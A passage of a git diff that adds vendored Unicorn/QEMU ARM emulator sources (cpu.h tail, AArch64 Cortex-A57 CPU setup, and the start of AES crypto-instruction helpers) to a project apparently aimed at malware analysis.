+const ARMCPRegInfo *get_arm_cp_reginfo(GHashTable *cpregs, uint32_t encoded_cp); + +/* CPWriteFn that can be used to implement writes-ignored behaviour */ +void arm_cp_write_ignore(CPUARMState *env, const ARMCPRegInfo *ri, + uint64_t value); +/* CPReadFn that can be used for read-as-zero behaviour */ +uint64_t arm_cp_read_zero(CPUARMState *env, const ARMCPRegInfo *ri); + +/* CPResetFn that does nothing, for use if no reset is required even + * if fieldoffset is non zero. + */ +void arm_cp_reset_ignore(CPUARMState *env, const ARMCPRegInfo *opaque); + +/* Return true if this reginfo struct's field in the cpu state struct + * is 64 bits wide. + */ +static inline bool cpreg_field_is_64bit(const ARMCPRegInfo *ri) +{ + return (ri->state == ARM_CP_STATE_AA64) || (ri->type & ARM_CP_64BIT); +} + +static inline bool cp_access_ok(int current_el, + const ARMCPRegInfo *ri, int isread) +{ + return (ri->access >> ((current_el * 2) + isread)) & 1; +} + +/** + * write_list_to_cpustate + * @cpu: ARMCPU + * + * For each register listed in the ARMCPU cpreg_indexes list, write + * its value from the cpreg_values list into the ARMCPUState structure. + * This updates TCG's working data structures from KVM data or + * from incoming migration state. + * + * Returns: true if all register values were updated correctly, + * false if some register was unknown or could not be written. + * Note that we do not stop early on failure -- we will attempt + * writing all registers in the list. + */ +bool write_list_to_cpustate(ARMCPU *cpu); + +/** + * write_cpustate_to_list: + * @cpu: ARMCPU + * + * For each register listed in the ARMCPU cpreg_indexes list, write + * its value from the ARMCPUState structure into the cpreg_values list. + * This is used to copy info from TCG's working data structures into + * KVM or for outbound migration. + * + * Returns: true if all register values were read correctly, + * false if some register was unknown or could not be read. + * Note that we do not stop early on failure -- we will attempt + * reading all registers in the list. + */ +bool write_cpustate_to_list(ARMCPU *cpu); + +/* Does the core conform to the the "MicroController" profile. e.g. Cortex-M3. + Note the M in older cores (eg. ARM7TDMI) stands for Multiply. These are + conventional cores (ie. Application or Realtime profile). */ + +#define IS_M(env) arm_feature(env, ARM_FEATURE_M) + +#define ARM_CPUID_TI915T 0x54029152 +#define ARM_CPUID_TI925T 0x54029252 + +#if defined(CONFIG_USER_ONLY) +#define TARGET_PAGE_BITS 12 +#else +/* The ARM MMU allows 1k pages. */ +/* ??? Linux doesn't actually use these, and they're deprecated in recent + architecture revisions. Maybe a configure option to disable them. */ +#define TARGET_PAGE_BITS 10 +#endif + +#if defined(TARGET_AARCH64) +# define TARGET_PHYS_ADDR_SPACE_BITS 48 +# define TARGET_VIRT_ADDR_SPACE_BITS 64 +#else +# define TARGET_PHYS_ADDR_SPACE_BITS 40 +# define TARGET_VIRT_ADDR_SPACE_BITS 32 +#endif + +static inline bool arm_excp_unmasked(CPUState *cs, unsigned int excp_idx) +{ + CPUARMState *env = cs->env_ptr; + unsigned int cur_el = arm_current_el(env); + unsigned int target_el = arm_excp_target_el(cs, excp_idx); + /* FIXME: Use actual secure state. */ + bool secure = false; + /* If in EL1/0, Physical IRQ routing to EL2 only happens from NS state. */ + bool irq_can_hyp = !secure && cur_el < 2 && target_el == 2; + + /* Don't take exceptions if they target a lower EL. */ + if (cur_el > target_el) { + return false; + } + + switch (excp_idx) { + case EXCP_FIQ: + if (irq_can_hyp && (env->cp15.hcr_el2 & HCR_FMO)) { + return true; + } + return !(env->daif & PSTATE_F); + case EXCP_IRQ: + if (irq_can_hyp && (env->cp15.hcr_el2 & HCR_IMO)) { + return true; + } + return !(env->daif & PSTATE_I); + case EXCP_VFIQ: + if (secure || !(env->cp15.hcr_el2 & HCR_FMO)) { + /* VFIQs are only taken when hypervized and non-secure. */ + return false; + } + return !(env->daif & PSTATE_F); + case EXCP_VIRQ: + if (secure || !(env->cp15.hcr_el2 & HCR_IMO)) { + /* VIRQs are only taken when hypervized and non-secure. */ + return false; + } + return !(env->daif & PSTATE_I); + default: + g_assert_not_reached(); + return false; + } +} + +static inline CPUARMState *cpu_init(struct uc_struct *uc, const char *cpu_model) +{ + ARMCPU *cpu = cpu_arm_init(uc, cpu_model); + if (cpu) { + return &cpu->env; + } + return NULL; +} + +#ifdef TARGET_ARM +#define cpu_exec cpu_arm_exec +#define cpu_gen_code cpu_arm_gen_code +#define cpu_signal_handler cpu_arm_signal_handler +#define cpu_list arm_cpu_list +#endif + +/* MMU modes definitions */ +#define MMU_MODE0_SUFFIX _user +#define MMU_MODE1_SUFFIX _kernel +#define MMU_USER_IDX 0 +static inline int cpu_mmu_index (CPUARMState *env) +{ + return arm_current_el(env); +} + +/* Return the Exception Level targeted by debug exceptions; + * currently always EL1 since we don't implement EL2 or EL3. + */ +static inline int arm_debug_target_el(CPUARMState *env) +{ + return 1; +} + +static inline bool aa64_generate_debug_exceptions(CPUARMState *env) +{ + if (arm_current_el(env) == arm_debug_target_el(env)) { + if ((extract32(env->cp15.mdscr_el1, 13, 1) == 0) + || (env->daif & PSTATE_D)) { + return false; + } + } + return true; +} + +static inline bool aa32_generate_debug_exceptions(CPUARMState *env) +{ + if (arm_current_el(env) == 0 && arm_el_is_aa64(env, 1)) { + return aa64_generate_debug_exceptions(env); + } + return arm_current_el(env) != 2; +} + +/* Return true if debugging exceptions are currently enabled. + * This corresponds to what in ARM ARM pseudocode would be + * if UsingAArch32() then + * return AArch32.GenerateDebugExceptions() + * else + * return AArch64.GenerateDebugExceptions() + * We choose to push the if() down into this function for clarity, + * since the pseudocode has it at all callsites except for the one in + * CheckSoftwareStep(), where it is elided because both branches would + * always return the same value. + * + * Parts of the pseudocode relating to EL2 and EL3 are omitted because we + * don't yet implement those exception levels or their associated trap bits. + */ +static inline bool arm_generate_debug_exceptions(CPUARMState *env) +{ + if (env->aarch64) { + return aa64_generate_debug_exceptions(env); + } else { + return aa32_generate_debug_exceptions(env); + } +} + +/* Is single-stepping active? (Note that the "is EL_D AArch64?" check + * implicitly means this always returns false in pre-v8 CPUs.) + */ +static inline bool arm_singlestep_active(CPUARMState *env) +{ + return extract32(env->cp15.mdscr_el1, 0, 1) + && arm_el_is_aa64(env, arm_debug_target_el(env)) + && arm_generate_debug_exceptions(env); +} + +#include "exec/cpu-all.h" + +/* Bit usage in the TB flags field: bit 31 indicates whether we are + * in 32 or 64 bit mode. The meaning of the other bits depends on that. + */ +#define ARM_TBFLAG_AARCH64_STATE_SHIFT 31 +#define ARM_TBFLAG_AARCH64_STATE_MASK (1U << ARM_TBFLAG_AARCH64_STATE_SHIFT) + +/* Bit usage when in AArch32 state: */ +#define ARM_TBFLAG_THUMB_SHIFT 0 +#define ARM_TBFLAG_THUMB_MASK (1 << ARM_TBFLAG_THUMB_SHIFT) +#define ARM_TBFLAG_VECLEN_SHIFT 1 +#define ARM_TBFLAG_VECLEN_MASK (0x7 << ARM_TBFLAG_VECLEN_SHIFT) +#define ARM_TBFLAG_VECSTRIDE_SHIFT 4 +#define ARM_TBFLAG_VECSTRIDE_MASK (0x3 << ARM_TBFLAG_VECSTRIDE_SHIFT) +#define ARM_TBFLAG_PRIV_SHIFT 6 +#define ARM_TBFLAG_PRIV_MASK (1 << ARM_TBFLAG_PRIV_SHIFT) +#define ARM_TBFLAG_VFPEN_SHIFT 7 +#define ARM_TBFLAG_VFPEN_MASK (1 << ARM_TBFLAG_VFPEN_SHIFT) +#define ARM_TBFLAG_CONDEXEC_SHIFT 8 +#define ARM_TBFLAG_CONDEXEC_MASK (0xff << ARM_TBFLAG_CONDEXEC_SHIFT) +#define ARM_TBFLAG_BSWAP_CODE_SHIFT 16 +#define ARM_TBFLAG_BSWAP_CODE_MASK (1 << ARM_TBFLAG_BSWAP_CODE_SHIFT) +#define ARM_TBFLAG_CPACR_FPEN_SHIFT 17 +#define ARM_TBFLAG_CPACR_FPEN_MASK (1 << ARM_TBFLAG_CPACR_FPEN_SHIFT) +#define ARM_TBFLAG_SS_ACTIVE_SHIFT 18 +#define ARM_TBFLAG_SS_ACTIVE_MASK (1 << ARM_TBFLAG_SS_ACTIVE_SHIFT) +#define ARM_TBFLAG_PSTATE_SS_SHIFT 19 +#define ARM_TBFLAG_PSTATE_SS_MASK (1 << ARM_TBFLAG_PSTATE_SS_SHIFT) +/* We store the bottom two bits of the CPAR as TB flags and handle + * checks on the other bits at runtime + */ +#define ARM_TBFLAG_XSCALE_CPAR_SHIFT 20 +#define ARM_TBFLAG_XSCALE_CPAR_MASK (3 << ARM_TBFLAG_XSCALE_CPAR_SHIFT) + +/* Bit usage when in AArch64 state */ +#define ARM_TBFLAG_AA64_EL_SHIFT 0 +#define ARM_TBFLAG_AA64_EL_MASK (0x3 << ARM_TBFLAG_AA64_EL_SHIFT) +#define ARM_TBFLAG_AA64_FPEN_SHIFT 2 +#define ARM_TBFLAG_AA64_FPEN_MASK (1 << ARM_TBFLAG_AA64_FPEN_SHIFT) +#define ARM_TBFLAG_AA64_SS_ACTIVE_SHIFT 3 +#define ARM_TBFLAG_AA64_SS_ACTIVE_MASK (1 << ARM_TBFLAG_AA64_SS_ACTIVE_SHIFT) +#define ARM_TBFLAG_AA64_PSTATE_SS_SHIFT 4 +#define ARM_TBFLAG_AA64_PSTATE_SS_MASK (1 << ARM_TBFLAG_AA64_PSTATE_SS_SHIFT) + +/* some convenience accessor macros */ +#define ARM_TBFLAG_AARCH64_STATE(F) \ + (((F) & ARM_TBFLAG_AARCH64_STATE_MASK) >> ARM_TBFLAG_AARCH64_STATE_SHIFT) +#define ARM_TBFLAG_THUMB(F) \ + (((F) & ARM_TBFLAG_THUMB_MASK) >> ARM_TBFLAG_THUMB_SHIFT) +#define ARM_TBFLAG_VECLEN(F) \ + (((F) & ARM_TBFLAG_VECLEN_MASK) >> ARM_TBFLAG_VECLEN_SHIFT) +#define ARM_TBFLAG_VECSTRIDE(F) \ + (((F) & ARM_TBFLAG_VECSTRIDE_MASK) >> ARM_TBFLAG_VECSTRIDE_SHIFT) +#define ARM_TBFLAG_PRIV(F) \ + (((F) & ARM_TBFLAG_PRIV_MASK) >> ARM_TBFLAG_PRIV_SHIFT) +#define ARM_TBFLAG_VFPEN(F) \ + (((F) & ARM_TBFLAG_VFPEN_MASK) >> ARM_TBFLAG_VFPEN_SHIFT) +#define ARM_TBFLAG_CONDEXEC(F) \ + (((F) & ARM_TBFLAG_CONDEXEC_MASK) >> ARM_TBFLAG_CONDEXEC_SHIFT) +#define ARM_TBFLAG_BSWAP_CODE(F) \ + (((F) & ARM_TBFLAG_BSWAP_CODE_MASK) >> ARM_TBFLAG_BSWAP_CODE_SHIFT) +#define ARM_TBFLAG_CPACR_FPEN(F) \ + (((F) & ARM_TBFLAG_CPACR_FPEN_MASK) >> ARM_TBFLAG_CPACR_FPEN_SHIFT) +#define ARM_TBFLAG_SS_ACTIVE(F) \ + (((F) & ARM_TBFLAG_SS_ACTIVE_MASK) >> ARM_TBFLAG_SS_ACTIVE_SHIFT) +#define ARM_TBFLAG_PSTATE_SS(F) \ + (((F) & ARM_TBFLAG_PSTATE_SS_MASK) >> ARM_TBFLAG_PSTATE_SS_SHIFT) +#define ARM_TBFLAG_XSCALE_CPAR(F) \ + (((F) & ARM_TBFLAG_XSCALE_CPAR_MASK) >> ARM_TBFLAG_XSCALE_CPAR_SHIFT) +#define ARM_TBFLAG_AA64_EL(F) \ + (((F) & ARM_TBFLAG_AA64_EL_MASK) >> ARM_TBFLAG_AA64_EL_SHIFT) +#define ARM_TBFLAG_AA64_FPEN(F) \ + (((F) & ARM_TBFLAG_AA64_FPEN_MASK) >> ARM_TBFLAG_AA64_FPEN_SHIFT) +#define ARM_TBFLAG_AA64_SS_ACTIVE(F) \ + (((F) & ARM_TBFLAG_AA64_SS_ACTIVE_MASK) >> ARM_TBFLAG_AA64_SS_ACTIVE_SHIFT) +#define ARM_TBFLAG_AA64_PSTATE_SS(F) \ + (((F) & ARM_TBFLAG_AA64_PSTATE_SS_MASK) >> ARM_TBFLAG_AA64_PSTATE_SS_SHIFT) + +static inline void cpu_get_tb_cpu_state(CPUARMState *env, target_ulong *pc, + target_ulong *cs_base, int *flags) +{ + int fpen; + + if (arm_feature(env, ARM_FEATURE_V6)) { + fpen = extract32(env->cp15.c1_coproc, 20, 2); + } else { + /* CPACR doesn't exist before v6, so VFP is always accessible */ + fpen = 3; + } + + if (is_a64(env)) { + *pc = env->pc; + *flags = ARM_TBFLAG_AARCH64_STATE_MASK + | (arm_current_el(env) << ARM_TBFLAG_AA64_EL_SHIFT); + if (fpen == 3 || (fpen == 1 && arm_current_el(env) != 0)) { + *flags |= ARM_TBFLAG_AA64_FPEN_MASK; + } + /* The SS_ACTIVE and PSTATE_SS bits correspond to the state machine + * states defined in the ARM ARM for software singlestep: + * SS_ACTIVE PSTATE.SS State + * 0 x Inactive (the TB flag for SS is always 0) + * 1 0 Active-pending + * 1 1 Active-not-pending + */ + if (arm_singlestep_active(env)) { + *flags |= ARM_TBFLAG_AA64_SS_ACTIVE_MASK; + if (env->pstate & PSTATE_SS) { + *flags |= ARM_TBFLAG_AA64_PSTATE_SS_MASK; + } + } + } else { + int privmode; + *pc = env->regs[15]; + *flags = (env->thumb << ARM_TBFLAG_THUMB_SHIFT) + | (env->vfp.vec_len << ARM_TBFLAG_VECLEN_SHIFT) + | (env->vfp.vec_stride << ARM_TBFLAG_VECSTRIDE_SHIFT) + | (env->condexec_bits << ARM_TBFLAG_CONDEXEC_SHIFT) + | (env->bswap_code << ARM_TBFLAG_BSWAP_CODE_SHIFT); + if (arm_feature(env, ARM_FEATURE_M)) { + privmode = !((env->v7m.exception == 0) && (env->v7m.control & 1)); + } else { + privmode = (env->uncached_cpsr & CPSR_M) != ARM_CPU_MODE_USR; + } + if (privmode) { + *flags |= ARM_TBFLAG_PRIV_MASK; + } + if (env->vfp.xregs[ARM_VFP_FPEXC] & (1 << 30) + || arm_el_is_aa64(env, 1)) { + *flags |= ARM_TBFLAG_VFPEN_MASK; + } + if (fpen == 3 || (fpen == 1 && arm_current_el(env) != 0)) { + *flags |= ARM_TBFLAG_CPACR_FPEN_MASK; + } + /* The SS_ACTIVE and PSTATE_SS bits correspond to the state machine + * states defined in the ARM ARM for software singlestep: + * SS_ACTIVE PSTATE.SS State + * 0 x Inactive (the TB flag for SS is always 0) + * 1 0 Active-pending + * 1 1 Active-not-pending + */ + if (arm_singlestep_active(env)) { + *flags |= ARM_TBFLAG_SS_ACTIVE_MASK; + if (env->uncached_cpsr & PSTATE_SS) { + *flags |= ARM_TBFLAG_PSTATE_SS_MASK; + } + } + *flags |= (extract32(env->cp15.c15_cpar, 0, 2) + << ARM_TBFLAG_XSCALE_CPAR_SHIFT); + } + + *cs_base = 0; +} + +#include "exec/exec-all.h" + +static inline void cpu_pc_from_tb(CPUARMState *env, TranslationBlock *tb) +{ + if (ARM_TBFLAG_AARCH64_STATE(tb->flags)) { + env->pc = tb->pc; + } else { + env->regs[15] = tb->pc; + } +} + +enum { + QEMU_PSCI_CONDUIT_DISABLED = 0, + QEMU_PSCI_CONDUIT_SMC = 1, + QEMU_PSCI_CONDUIT_HVC = 2, +}; + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/cpu64.c b/ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/cpu64.c new file mode 100644 index 0000000..30948ae --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/cpu64.c @@ -0,0 +1,224 @@ +/* + * QEMU AArch64 CPU + * + * Copyright (c) 2013 Linaro Ltd + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version 2 + * of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, see + * + */ + +#include "cpu.h" +#include "qemu-common.h" +#include "hw/arm/arm.h" +#include "sysemu/sysemu.h" + +static inline void set_feature(CPUARMState *env, int feature) +{ + env->features |= 1ULL << feature; +} + +#ifndef CONFIG_USER_ONLY +static uint64_t a57_l2ctlr_read(CPUARMState *env, const ARMCPRegInfo *ri) +{ + /* Number of processors is in [25:24]; otherwise we RAZ */ + return (smp_cpus - 1) << 24; +} +#endif + +static const ARMCPRegInfo cortexa57_cp_reginfo[] = { +#ifndef CONFIG_USER_ONLY + { "L2CTLR_EL1", 0,11,0, 3,1,2, ARM_CP_STATE_AA64, + 0, PL1_RW, NULL, 0, 0, + NULL, a57_l2ctlr_read, arm_cp_write_ignore, }, + { "L2CTLR", 15,9,0, 0,1,2, 0, + 0, PL1_RW, NULL, 0, 0, + NULL, a57_l2ctlr_read, arm_cp_write_ignore, }, +#endif + { "L2ECTLR_EL1", 0,11,0, 3,1,3, ARM_CP_STATE_AA64, + ARM_CP_CONST, PL1_RW, NULL, 0, }, + { "L2ECTLR", 15,9,0, 0,1,3, 0, + ARM_CP_CONST, PL1_RW, NULL, 0, }, + { "L2ACTLR", 0,15,0, 3,1,0, ARM_CP_STATE_BOTH, + ARM_CP_CONST, PL1_RW, NULL, 0 }, + { "CPUACTLR_EL1", 0,15,2, 3,1,0, ARM_CP_STATE_AA64, + ARM_CP_CONST, PL1_RW, NULL, 0 }, + { "CPUACTLR", 15,0,15, 0,0,0, 0, + ARM_CP_CONST | ARM_CP_64BIT, PL1_RW, NULL, 0, }, + { "CPUECTLR_EL1", 0,15,2, 3,1,1, ARM_CP_STATE_AA64, + ARM_CP_CONST, PL1_RW, NULL, 0, }, + { "CPUECTLR", 15,0,15, 0,1,0, 0, + ARM_CP_CONST | ARM_CP_64BIT, PL1_RW, NULL, 0, }, + { "CPUMERRSR_EL1", 0,15,2, 3,1,2, ARM_CP_STATE_AA64, + ARM_CP_CONST, PL1_RW, NULL, 0 }, + { "CPUMERRSR", 15,0,15, 0,2,0, 0, + ARM_CP_CONST | ARM_CP_64BIT, PL1_RW, NULL, 0 }, + { "L2MERRSR_EL1", 0,15,2, 3,1,3, ARM_CP_STATE_AA64, + ARM_CP_CONST, PL1_RW, NULL, 0 }, + { "L2MERRSR", 15,0,15, 0,3,0, 0, + ARM_CP_CONST | ARM_CP_64BIT, PL1_RW, NULL, 0 }, + REGINFO_SENTINEL +}; + +static void aarch64_a57_initfn(struct uc_struct *uc, Object *obj, void *opaque) +{ + ARMCPU *cpu = ARM_CPU(uc, obj); + + set_feature(&cpu->env, ARM_FEATURE_V8); + set_feature(&cpu->env, ARM_FEATURE_VFP4); + set_feature(&cpu->env, ARM_FEATURE_NEON); + set_feature(&cpu->env, ARM_FEATURE_GENERIC_TIMER); + set_feature(&cpu->env, ARM_FEATURE_AARCH64); + set_feature(&cpu->env, ARM_FEATURE_CBAR_RO); + set_feature(&cpu->env, ARM_FEATURE_V8_AES); + set_feature(&cpu->env, ARM_FEATURE_V8_SHA1); + set_feature(&cpu->env, ARM_FEATURE_V8_SHA256); + set_feature(&cpu->env, ARM_FEATURE_V8_PMULL); + set_feature(&cpu->env, ARM_FEATURE_CRC); + cpu->kvm_target = QEMU_KVM_ARM_TARGET_CORTEX_A57; + cpu->midr = 0x411fd070; + cpu->reset_fpsid = 0x41034070; + cpu->mvfr0 = 0x10110222; + cpu->mvfr1 = 0x12111111; + cpu->mvfr2 = 0x00000043; + cpu->ctr = 0x8444c004; + cpu->reset_sctlr = 0x00c50838; + cpu->id_pfr0 = 0x00000131; + cpu->id_pfr1 = 0x00011011; + cpu->id_dfr0 = 0x03010066; + cpu->id_afr0 = 0x00000000; + cpu->id_mmfr0 = 0x10101105; + cpu->id_mmfr1 = 0x40000000; + cpu->id_mmfr2 = 0x01260000; + cpu->id_mmfr3 = 0x02102211; + cpu->id_isar0 = 0x02101110; + cpu->id_isar1 = 0x13112111; + cpu->id_isar2 = 0x21232042; + cpu->id_isar3 = 0x01112131; + cpu->id_isar4 = 0x00011142; + cpu->id_isar5 = 0x00011121; + cpu->id_aa64pfr0 = 0x00002222; + cpu->id_aa64dfr0 = 0x10305106; + cpu->id_aa64isar0 = 0x00011120; + cpu->id_aa64mmfr0 = 0x00001124; + cpu->dbgdidr = 0x3516d000; + cpu->clidr = 0x0a200023; + cpu->ccsidr[0] = 0x701fe00a; /* 32KB L1 dcache */ + cpu->ccsidr[1] = 0x201fe012; /* 48KB L1 icache */ + cpu->ccsidr[2] = 0x70ffe07a; /* 2048KB L2 cache */ + cpu->dcz_blocksize = 4; /* 64 bytes */ + define_arm_cp_regs(cpu, cortexa57_cp_reginfo); +} + +#ifdef CONFIG_USER_ONLY +static void aarch64_any_initfn(struct uc_struct *uc, Object *obj, void *opaque) +{ + ARMCPU *cpu = ARM_CPU(uc, obj); + + set_feature(&cpu->env, ARM_FEATURE_V8); + set_feature(&cpu->env, ARM_FEATURE_VFP4); + set_feature(&cpu->env, ARM_FEATURE_NEON); + set_feature(&cpu->env, ARM_FEATURE_AARCH64); + set_feature(&cpu->env, ARM_FEATURE_V8_AES); + set_feature(&cpu->env, ARM_FEATURE_V8_SHA1); + set_feature(&cpu->env, ARM_FEATURE_V8_SHA256); + set_feature(&cpu->env, ARM_FEATURE_V8_PMULL); + set_feature(&cpu->env, ARM_FEATURE_CRC); + cpu->ctr = 0x80038003; /* 32 byte I and D cacheline size, VIPT icache */ + cpu->dcz_blocksize = 7; /* 512 bytes */ +} +#endif + +typedef struct ARMCPUInfo { + const char *name; + void (*initfn)(struct uc_struct *uc, Object *obj, void *opaque); + void (*class_init)(struct uc_struct *uc, ObjectClass *oc, void *data); +} ARMCPUInfo; + +static const ARMCPUInfo aarch64_cpus[] = { + { "cortex-a57", aarch64_a57_initfn }, +#ifdef CONFIG_USER_ONLY + { "any", aarch64_any_initfn }, +#endif + { NULL } +}; + +static void aarch64_cpu_initfn(struct uc_struct *uc, Object *obj, void *opaque) +{ +} + +static void aarch64_cpu_finalizefn(struct uc_struct *uc, Object *obj, void *opaque) +{ +} + +static void aarch64_cpu_set_pc(CPUState *cs, vaddr value) +{ + //CPUARMState *env = cs->env_ptr; + ARMCPU *cpu = ARM_CPU(NULL, cs); + /* It's OK to look at env for the current mode here, because it's + * never possible for an AArch64 TB to chain to an AArch32 TB. + * (Otherwise we would need to use synchronize_from_tb instead.) + */ + if (is_a64(&cpu->env)) { + cpu->env.pc = value; + } else { + cpu->env.regs[15] = value; + } +} + +static void aarch64_cpu_class_init(struct uc_struct *uc, ObjectClass *oc, void *data) +{ + CPUClass *cc = CPU_CLASS(uc, oc); + +#if !defined(CONFIG_USER_ONLY) + cc->do_interrupt = aarch64_cpu_do_interrupt; +#endif + cc->cpu_exec_interrupt = arm_cpu_exec_interrupt; + cc->set_pc = aarch64_cpu_set_pc; +} + +static void aarch64_cpu_register(struct uc_struct *uc, const ARMCPUInfo *info) +{ + TypeInfo type_info = { 0 }; + type_info.parent = TYPE_AARCH64_CPU; + type_info.instance_size = sizeof(ARMCPU); + type_info.instance_init = info->initfn; + type_info.class_size = sizeof(ARMCPUClass); + type_info.class_init = info->class_init; + + type_info.name = g_strdup_printf("%s-" TYPE_ARM_CPU, info->name); + type_register(uc, &type_info); + g_free((void *)type_info.name); +} + +void aarch64_cpu_register_types(void *opaque) +{ + const ARMCPUInfo *info = aarch64_cpus; + + static TypeInfo aarch64_cpu_type_info = { 0 }; + aarch64_cpu_type_info.name = TYPE_AARCH64_CPU; + aarch64_cpu_type_info.parent = TYPE_ARM_CPU; + aarch64_cpu_type_info.instance_size = sizeof(ARMCPU); + aarch64_cpu_type_info.instance_init = aarch64_cpu_initfn; + aarch64_cpu_type_info.instance_finalize = aarch64_cpu_finalizefn; + aarch64_cpu_type_info.abstract = true; + aarch64_cpu_type_info.class_size = sizeof(AArch64CPUClass); + aarch64_cpu_type_info.class_init = aarch64_cpu_class_init; + + type_register_static(opaque, &aarch64_cpu_type_info); + + while (info->name) { + aarch64_cpu_register(opaque, info); + info++; + } +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/crypto_helper.c b/ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/crypto_helper.c new file mode 100644 index 0000000..59988ed --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/crypto_helper.c @@ -0,0 +1,435 @@ +/* + * crypto_helper.c - emulate v8 Crypto Extensions instructions + * + * Copyright (C) 2013 - 2014 Linaro Ltd + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + */ + +#include + +#include "cpu.h" +#include "exec/exec-all.h" +#include "exec/helper-proto.h" +#include "qemu/aes.h" + +union CRYPTO_STATE { + uint8_t bytes[16]; + uint32_t words[4]; + uint64_t l[2]; +}; + +void HELPER(crypto_aese)(CPUARMState *env, uint32_t rd, uint32_t rm, + uint32_t decrypt) +{ + static uint8_t const * const sbox[2] = { AES_sbox, AES_isbox }; + static uint8_t const * const shift[2] = { AES_shifts, AES_ishifts }; + + union CRYPTO_STATE rk; + union CRYPTO_STATE st; + int i; + + rk.l[0] = float64_val(env->vfp.regs[rm]); + rk.l[1] = float64_val(env->vfp.regs[rm + 1]); + st.l[0] = float64_val(env->vfp.regs[rd]); + st.l[1] = float64_val(env->vfp.regs[rd + 1]); + + assert(decrypt < 2); + + /* xor state vector with round key */ + rk.l[0] ^= st.l[0]; + rk.l[1] ^= st.l[1]; + + /* combine ShiftRows operation and sbox substitution */ + for (i = 0; i < 16; i++) { + st.bytes[i] = sbox[decrypt][rk.bytes[shift[decrypt][i]]]; + } + + env->vfp.regs[rd] = make_float64(st.l[0]); + env->vfp.regs[rd + 1] = make_float64(st.l[1]); +} + +void HELPER(crypto_aesmc)(CPUARMState *env, uint32_t rd, uint32_t rm, + uint32_t decrypt) +{ + static uint32_t const mc[][256] = { { + /* MixColumns lookup table */ + 0x00000000, 0x03010102, 0x06020204, 0x05030306, + 0x0c040408, 0x0f05050a, 0x0a06060c, 0x0907070e, + 0x18080810, 0x1b090912, 0x1e0a0a14, 0x1d0b0b16, + 0x140c0c18, 0x170d0d1a, 0x120e0e1c, 0x110f0f1e, + 0x30101020, 0x33111122, 0x36121224, 0x35131326, + 0x3c141428, 0x3f15152a, 0x3a16162c, 0x3917172e, + 0x28181830, 0x2b191932, 0x2e1a1a34, 0x2d1b1b36, + 0x241c1c38, 0x271d1d3a, 0x221e1e3c, 0x211f1f3e, + 0x60202040, 0x63212142, 0x66222244, 0x65232346, + 0x6c242448, 0x6f25254a, 0x6a26264c, 0x6927274e, + 0x78282850, 0x7b292952, 0x7e2a2a54, 0x7d2b2b56, + 0x742c2c58, 0x772d2d5a, 0x722e2e5c, 0x712f2f5e, + 0x50303060, 0x53313162, 0x56323264, 0x55333366, + 0x5c343468, 0x5f35356a, 0x5a36366c, 0x5937376e, + 0x48383870, 0x4b393972, 0x4e3a3a74, 0x4d3b3b76, + 0x443c3c78, 0x473d3d7a, 0x423e3e7c, 0x413f3f7e, + 0xc0404080, 0xc3414182, 0xc6424284, 0xc5434386, + 0xcc444488, 0xcf45458a, 0xca46468c, 0xc947478e, + 0xd8484890, 0xdb494992, 0xde4a4a94, 0xdd4b4b96, + 0xd44c4c98, 0xd74d4d9a, 0xd24e4e9c, 0xd14f4f9e, + 0xf05050a0, 0xf35151a2, 0xf65252a4, 0xf55353a6, + 0xfc5454a8, 0xff5555aa, 0xfa5656ac, 0xf95757ae, + 0xe85858b0, 0xeb5959b2, 0xee5a5ab4, 0xed5b5bb6, + 0xe45c5cb8, 0xe75d5dba, 0xe25e5ebc, 0xe15f5fbe, + 0xa06060c0, 0xa36161c2, 0xa66262c4, 0xa56363c6, + 0xac6464c8, 0xaf6565ca, 0xaa6666cc, 0xa96767ce, + 0xb86868d0, 0xbb6969d2, 0xbe6a6ad4, 0xbd6b6bd6, + 0xb46c6cd8, 0xb76d6dda, 0xb26e6edc, 0xb16f6fde, + 0x907070e0, 0x937171e2, 0x967272e4, 0x957373e6, + 0x9c7474e8, 0x9f7575ea, 0x9a7676ec, 0x997777ee, + 0x887878f0, 0x8b7979f2, 0x8e7a7af4, 0x8d7b7bf6, + 0x847c7cf8, 0x877d7dfa, 0x827e7efc, 0x817f7ffe, + 0x9b80801b, 0x98818119, 0x9d82821f, 0x9e83831d, + 0x97848413, 0x94858511, 0x91868617, 0x92878715, + 0x8388880b, 0x80898909, 0x858a8a0f, 0x868b8b0d, + 0x8f8c8c03, 0x8c8d8d01, 0x898e8e07, 0x8a8f8f05, + 0xab90903b, 0xa8919139, 0xad92923f, 0xae93933d, + 0xa7949433, 0xa4959531, 0xa1969637, 0xa2979735, + 0xb398982b, 0xb0999929, 0xb59a9a2f, 0xb69b9b2d, + 0xbf9c9c23, 0xbc9d9d21, 0xb99e9e27, 0xba9f9f25, + 0xfba0a05b, 0xf8a1a159, 0xfda2a25f, 0xfea3a35d, + 0xf7a4a453, 0xf4a5a551, 0xf1a6a657, 0xf2a7a755, + 0xe3a8a84b, 0xe0a9a949, 0xe5aaaa4f, 0xe6abab4d, + 0xefacac43, 0xecadad41, 0xe9aeae47, 0xeaafaf45, + 0xcbb0b07b, 0xc8b1b179, 0xcdb2b27f, 0xceb3b37d, + 0xc7b4b473, 0xc4b5b571, 0xc1b6b677, 0xc2b7b775, + 0xd3b8b86b, 0xd0b9b969, 0xd5baba6f, 0xd6bbbb6d, + 0xdfbcbc63, 0xdcbdbd61, 0xd9bebe67, 0xdabfbf65, + 0x5bc0c09b, 0x58c1c199, 0x5dc2c29f, 0x5ec3c39d, + 0x57c4c493, 0x54c5c591, 0x51c6c697, 0x52c7c795, + 0x43c8c88b, 0x40c9c989, 0x45caca8f, 0x46cbcb8d, + 0x4fcccc83, 0x4ccdcd81, 0x49cece87, 0x4acfcf85, + 0x6bd0d0bb, 0x68d1d1b9, 0x6dd2d2bf, 